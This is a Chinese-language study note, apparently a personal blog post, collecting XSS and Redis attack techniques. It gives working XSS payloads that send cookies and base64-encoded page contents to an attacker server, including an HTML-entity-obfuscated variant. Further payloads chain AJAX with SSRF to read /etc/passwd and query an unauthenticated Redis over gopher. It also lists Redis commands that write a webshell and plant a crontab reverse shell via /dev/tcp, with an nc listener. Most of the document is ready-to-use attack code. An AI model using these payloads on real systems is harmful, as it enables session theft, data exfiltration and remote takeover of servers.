xss和Redis总结

总结一些知识点

xss

基础操作

首先尝试一些基本的方法

<script>alert(1)</script>

看看报不报csp的错误 如果不报但不弹窗应该是过滤了

继续尝试别的

1
2
3
4
5
<img src=x onerror= />
<svg onload>
<svg/onload>

还有好多参考
http://www.freebuf.com/articles/web/20282.html

假设<svg/onload>可以 那么继续

<svg/onload="document.location='http://vps_ip:233'">

测试vps上能不能收到回显

可以的话开始

打cookie

<svg/onload="document.location='http://xxx.ceye.io/?'+document.cookie">

获取页面内容

<svg/onload="document.location='http://xxx.ceye.io/?'+btoa(document.body.innerHTML)">

如果不行尝试编码

document.location='http://xxx.ceye.io/?'+btoa(document.body.innerHTML)
编码为

1
&#x64;&#x6f;&#x63;&#x75;&#x6d;&#x65;&#x6e;&#x74;&#x2e;&#x6c;&#x6f;&#x63;&#x61;&#x74;&#x69;&#x6f;&#x6e;&#x3d;&#x27;&#x68;&#x74;&#x74;&#x70;&#x3a;&#x2f;&#x2f;&#x75;&#x67;&#x65;&#x6c;&#x67;&#x72;&#x2e;&#x63;&#x65;&#x79;&#x65;&#x2e;&#x69;&#x6f;&#x2f;&#x3f;&#x27;&#x2b;&#x62;&#x74;&#x6f;&#x61;&#x28;&#x64;&#x6f;&#x63;&#x75;&#x6d;&#x65;&#x6e;&#x74;&#x2e;&#x62;&#x6f;&#x64;&#x79;&#x2e;&#x69;&#x6e;&#x6e;&#x65;&#x72;&#x48;&#x54;&#x4d;&#x4c;&#x29;

1
<svg/onload="&#x64;&#x6f;&#x63;&#x75;&#x6d;&#x65;&#x6e;&#x74;&#x2e;&#x6c;&#x6f;&#x63;&#x61;&#x74;&#x69;&#x6f;&#x6e;&#x3d;&#x27;&#x68;&#x74;&#x74;&#x70;&#x3a;&#x2f;&#x2f;&#x75;&#x67;&#x65;&#x6c;&#x67;&#x72;&#x2e;&#x63;&#x65;&#x79;&#x65;&#x2e;&#x69;&#x6f;&#x2f;&#x3f;&#x27;&#x2b;&#x62;&#x74;&#x6f;&#x61;&#x28;&#x64;&#x6f;&#x63;&#x75;&#x6d;&#x65;&#x6e;&#x74;&#x2e;&#x62;&#x6f;&#x64;&#x79;&#x2e;&#x69;&#x6e;&#x6e;&#x65;&#x72;&#x48;&#x54;&#x4d;&#x4c;&#x29;">

然后解码后保存到本地html里打开即可

结合ssrf读其他页面

从这里开始用了 ajax 就是用 js 执行 http 请求

xss的思路结合ajax真的很强 xss不止能打cookies 可以像ssrf般操作内网

1
2
3
4
5
6
7
8
9
10
11
12
<svg/onload="
xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
document.location='http://vps_ip:23333/?'+btoa(xmlhttp.responseText);
}
}
xmlhttp.open("GET","request.php",true);
xmlhttp.send();
">

结合ssrf+file协议

1
2
3
4
5
6
7
8
9
10
11
12
13
<svg/onload="
xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
document.location='http://vps_ip:23333/?'+btoa(xmlhttp.responseText);
}
}
xmlhttp.open("POST","request.php",true);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("url=file:///etc/passwd");
">

结合gopher未授权访问打redis

这里是未授权访问 拿到数据 还没有getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
<svg/onload="
xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
document.location='http://vps_ip:23333/?'+btoa(xmlhttp.responseText);
}
}
xmlhttp.open("POST","request.php",true);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("url=gopher://127.0.0.1:25566/_info%250a_quit");
">

再更改send行进行其它查询 比如

xmlhttp.send(“url=gopher://127.0.0.1:25566/_KEYS%2520*%250a_quit”);

xmlhttp.send(“url=gopher://127.0.0.1:25566/_get%2520flag%250a_quit”);

参考
http://skysec.top/2018/08/14/xss-ssrf-redis/

绕csp

https://www.jianshu.com/p/f1de775bc43e

这块还不怎么熟 先挖个坑

Redis

刚好看xss的时候又遇到了 redis的问题 就再记录一下

未授权访问redis

Redis默认情况下,会绑定在 0.0.0.0:6379,这样将会将 Redis 服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下可以利用Redis的相关方法,可以成功在Redis 服务器上写入公钥,进而可以使用对应私钥直接登录目标服务器。
默认redis启动的用户如果没有修改,会以root方式启动,这样就redis就可以在任意位置写入公钥文件,继而可以完成远程控制。

大意就是可以访问到在内网本来不想让我们访问的redis

getshell

1、通过向Web目录中写webshell的方式进行getshell

1
2
3
4
config set dir /home/wwwroot/default/
config set dbfilename redis.php
set webshell "<?php phpinfo(); ?>"
save

2、通过写SSH key的方式进行getshell

这种感觉见得不多

3、通过写corntab的方式进行getshell

第1步:通过redis-cli进入交互式shell
redis-cli.exe -h 192.168.182.128 -p 6379

redis-cli.exe -h 192.168.182.128 -p 6379

image第2步:设置文件夹路径
config set dir /var/spool/cron/crontabs

config set dir /var/spool/cron/crontabs

第3步:修改备份文件名
config set dbfilename root

config set dbfilename root

第4步:设置计划任务
set -.- “\n\n\n * bash -i >& /dev/tcp/198.xx.xx.xxx/9999 0>&1\n\n\n”

set -.- “\n\n\n * bash -i >& /dev/tcp/198.xx.xx.xxx/9999 0>&1\n\n\n”

第5步:保存

第6部:监听公网机器指定端口,接收反弹回来的shell
nc -v -l -p 9999

nc -v -l -p 9999

参考
http://foreversong.cn/archives/1180